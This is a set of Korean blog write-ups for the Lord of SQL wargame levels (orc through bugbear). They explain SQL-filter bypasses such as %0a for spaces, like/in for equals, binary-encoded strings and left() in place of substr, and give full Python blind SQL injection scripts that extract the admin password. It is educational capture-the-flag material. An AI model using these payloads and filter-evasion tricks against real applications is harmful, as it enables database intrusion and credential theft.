점점 필터링이 많아지네요..

이번에는 like, 공백, 0x 도 필터링이 되어있습니다.



우선 공백은 %0a로 대체할 수 있으며, like는 in으로 대체하면 됩니다.



이제 'admin'을 만들어야 하는데 전 문제에서는 Hex값으로 만들었지만 이번에는 필터링이 되어있습니다.

그렇다면 이번에는 0b2진수로 'admin'을 만들어 전송하면 됩니다.


2진수는 문자열 자체를 바꿀 수는 없기 때문에 한 글자 한 글자 바꿔주면 됩니다.

다행이 글자 수의 제한이 없기 때문에 가능한 작업입니다.


python으로 바꾸시려면 bin(ord('a')) 과 같이 ['a' → 10진수 → 2진수]로  변환하시면 됩니다.


문자를 하나씩 나눠 놨기 때문에 하나로 합치는 작업을 해야 합니다.

여기서 concat()이라는 내장 함수로 문자들을 합칠 수 있습니다.


아래와 같이 만들어서 전송하시면 "Hello admin"을 만나보실 수 있습니다.



복잡해 보이지만 다음과 같습니다.

  공백     → %0a

  or        → ||

  and      → &&

  =         → in()

  'admin'  → concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?'
password = ''
length = 0
 
#pw 길이 구하기
for i in range(1,99):
    query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0alength(pw)%0ain("+str(i)+")"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0aleft(pw,"+str(i)+')%0ain("'+password+chr(j)+'")'
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



나온 답은 소문자로 ~

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07
[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06

pw 는 '(single quarter)만 필터링을 합니다.

no 는 '(single quarter), substr, ascii, = 를 필터링 합니다.


때문에 '(single quarter)도 우회하고 substr도 우회하는 것이 중요합니다.



우선 pw에는 많은 필터링이 걸리지 않았지만 '(single quarter)가 필터링 되어 다루기 애매하므로 '(single quarter)가 없는 no에서 수행합니다.

= 대신에 like를 이용해 참으로 만들어 보면 "Hello guest"가 나옵니다.



"admin"이 필요하므로 id like 'admin'을 해서 "admin"을 만들어야 하는데 '(single quarter)가 필터링 되어있으니 Hex값으로 변경 후 전송합니다.

admin의 Hex값은 0x61646d696e 입니다. (참고로 'admin'을 hex로 바꾸는 것이 아닙니다.)



위의 내용을 바탕으로 Python 코드를 작성해봅니다.

'substr'가 필터링 되어있기 때문에 앞선 문제처럼 substring()을 사용할 수는 없습니다.

대신 left() 함수를 이용해서 왼쪽부터 한 글자씩 차례대로 알아내면 됩니다.


여기서 '(single quarter)가 필터링 되어있고 left()함수로 나오는 값은 문자열이기에 결국 '(single quarter)가 필요합니다.

그래서 대신 "(double quarter)로 사용하면 대체할 수 있습니다.


python 코드에서 문자열을 묶을 때 "(double quarter)로 보통 사용하는데 이번 만큼은 '(single quarter)로 대신 묶어줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?'
password = ''
length = 0

#pw 길이 구하기
for i in range(1,99):
    query = "no=1 or id like 0x61646d696e %26%26 length(pw) like "+str(i)
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "no=1 or id like 0x61646d696e %26%26 left(pw,"+str(i)+') like "'+password+chr(j)+'"'
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs




'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] giant  (0) 2018.10.07
[LOS] bugbear  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06

이번에는 substr(= 가 필터링에 추가가 되었습니다.

형식을 보아하니 앞선 문제처럼 Blind SQL Injection을 해서 문제를 풀어야 할 것으로 보입니다.



우선 = 필터링을 우회하기 위해서 like를 사용할 수 있습니다.



필터링을 우회할 수 있으니 Python 코드를 통해서 공격 수행을 해봅니다.

id='admin' 대신에 id like 'admin'을 하여 우회를 시킬 수 있습니다.


길이를 구하고 substr()과 동일한 기능을 하는 substring()으로 문자열을 나눠서 찾아봅니다.

그 외에 left, mid, right를 이용할 수도 있습니다.


range(33,127)로하면 '%'에서 막히게 됩니다..

그래서 앞선 문제들의 답이 숫자와 영어로 이루어 져있다는 것을 알았으니 48로 시작하면 '0'부터 체크하게 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?'
password = ''
length = 0
 
#pw 길이 구하기
for i in range(1,99):
    query = "pw=' || id like 'admin' %26%26 length(pw) like "+str(i)+"%23"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "pw=' || id like 'admin' %26%26 substring(pw,"+str(i)+",1) like '"+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



소문자로 입력하셔야 제대로 인증이 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] bugbear  (0) 2018.10.06
[LOS] darkknight  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06

뒤에 and 1=0 때문에 무조건 거짓이 됩니다.

그렇다면 뒤 부분을 주석 처리하고 "admin" 이라는 글자를 만들어 주면 됩니다.



저는 union select를 이용해서 문제를 해결했습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06

이번에는 str_replace() 함수로 "admin" 문자열을 ""으로 치환해주는 함수입니다.



그렇다면 간단하게 aadmindmin 과 같이 전송하면 가운데 "admin"만 사라지게 되고

'admin' 이 남아서 해결됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05

id만 입력할 수 있고 "admin"이라는 문자를 입력할 수 있으면 성공하는 문제입니다.


single quarter도 막아두어 union select로 강제로 만들 수 없고, hex값을 이용할 수 도 없습니다.

또한 ereg()로 "admin" 문자열을 막아두어 바로 인증을 할 수 없습니다.



하지만 php는 대소문자를 구분하지 않기 때문에, ereg()는 대문자와 소문자를 적절히 섞어주면 필터링 되지 않습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05

or, and 를 필터링하고 있으며 addslashed()로 '(Single Quarter)를 막고 있습니다.

하지만 Query가 2번 있고, 두번째 Query하기 전에만 Single Quarter를 막기 때문에 문제되지 않습니다.


해당 문제는 Blind Sql Injection으로  풀었는데, 두번째 Query의 결과로 참 거짓을 판별할 수 없기 때문입니다.



우선 or는 || 로 대신 사용할 수 있습니다.

참일 경우 다음과 같이 "Hello guest"라는 문장이 나오게 됩니다.


그렇다면 앞선 문제처럼 'admin'으로 성공하면 "Hello admin"이라고 나온다고 생각할 수 있습니다.



첫 Query에서 id='admin'을 하는 이유는 테이블에 다른 계정의 pw의 개수가 짧을 경우에 먼저 나오기 때문입니다.

(아래 주석으로 해도 guest pw는 15자리로 문제가 없긴 합니다.)


and는 &&로 바꾸면 되지만 URL에서 &는 [id=test&pw=test] 처럼 변수를 구분하는 용도로 쓰이기에 미리 인코딩한 값으로 해야 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?'
password = ''
length = 0
 
 
#pw 갯수 구하기
for i in range(1,99):
    query = "pw=' || id='admin' %26%26 length(pw)="+str(i)+"%23"
    #query = "pw=' || length(pw)="+str(i)+"%23"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(33,127):
        query = "pw=' || id='admin' %26%26 substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05

이번 문제는 or, and 를 필터링 한 문제입니다.


근데 이전 문제들처럼 union을 사용하면 깔끔하게 해결이 됩니다.. ^___^



원래 의도는 다음과 같이 or 대신 ||, and 대신 &&를 사용하라는 의도였을 것이라 생각됩니다.



'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] troll  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05

id는 'guest'로 고정되어 있으며 pw값을 가지고 문제를 풀면 됩니다.


preg_match()로 space bar를 필터링 했습니다.

id가 'admin'으로 되면 문제가 풀립니다.


앞선 문제와 비슷한데 space bar 필터링만 추가 되었습니다.



우선 space bar 필터링 우회를 해야 합니다.

%20은 space bar를 나타냅니다. 그리고 %0a로 space bar 효과를 낼 수 있습니다.


%0a는 개행을 나타내는 기호입니다. DB Query를 할 때 개행을 하더라도 ; 가 나올 때까지 읽어 들이기 때문에

결국 space bar나 개행은 동일한 효과를 냅니다.



space bar에 대한 문제를 해결 했으니 앞선 문제처럼 union select를 이용해서 문제를 해결하시면 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05

이번에는 pw 부분만 입력이 가능합니다.

id는 'admin'으로 고정이 되어있고 입력한 pw값과 쿼리 결과 pw가 동일해야 문제가 풀립니다.


요행으로 참으로 만들어도 안된다는 말입니다.

정확한 pw값을 찾아야 하는 문제입니다.



우선 Query를 참으로 만들어 무슨 값이 나오는지 확인해봅니다. 

"Hello admin"이라는 값이 나옵니다.


참이 아닐 경우에는 아무런 값을 나타내지 않기 때문에 여기서 Blind SQL Injection을 통해서 문제를 해결해야 합니다.



Blind SQL Injection을 수행하기 앞서 먼저 pw의 길이를 알아내야 합니다.


length() 함수는 해당 칼럼의 길이를 알 수 있습니다.

지금 id는 'admin'으로 고정되어 있기 때문에 자연스럽게 'admin'의 pw길이를 가져오게 됩니다.


수차례 해보면 8자리라는 것을 확인할 수 있습니다.


길이를 알아냈으니 Python으로 코드를 만들어 풀어봅니다.


requests 모듈을 통해서 풀어봤습니다.

GET방식으로 전송하기 때문에 requests.get() 함수를 사용합니다.


SQL 함수인 substr()을 사용해서 문자를 하나씩 알아내면 됩니다.

※ substr(str, start, len): 해당 문자열의 시작 인덱스부터 정해진 길이까지의 문자를 가져옴


그리고 Query가 성공하면 "Hello admin"이라는 글자가 나타나니 해당 글자를 찾으면 성공했다고 판단하면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?'
password = ''
 
for i in range(1,9):
    for j in range(33,127):
        query = "pw=' or substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



8자리의 비밀번호를 획득하고 인증하면 성공하게 됩니다.

(소문자로 해야 인증됨)


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05
[LOS] gremlin  (0) 2018.10.05

+ Recent posts